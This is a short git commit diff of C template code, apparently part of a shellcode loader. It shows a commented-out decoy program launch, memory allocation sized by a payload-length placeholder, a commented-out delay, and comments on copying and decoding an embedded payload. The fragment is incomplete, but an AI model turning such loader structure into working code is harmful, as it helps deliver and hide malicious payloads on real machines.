refactor: template code

This commit is contained in:
Dobin
2024-05-29 08:29:22 +01:00
parent 854c41300e
commit 8ed47409a2
3 changed files with 20 additions and 7 deletions
@@ -29,10 +29,16 @@ int main()
return 6;
}
// Decoy
//WinExec("C:\\windows\\system32\\notepad.exe", 1);
// Allocate 1
// char *dest = ...
char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, p_RW);
// Wait a bit
//Sleep(2000);
// Copy (and decode)
// from: supermega_payload[]
// to: dest[]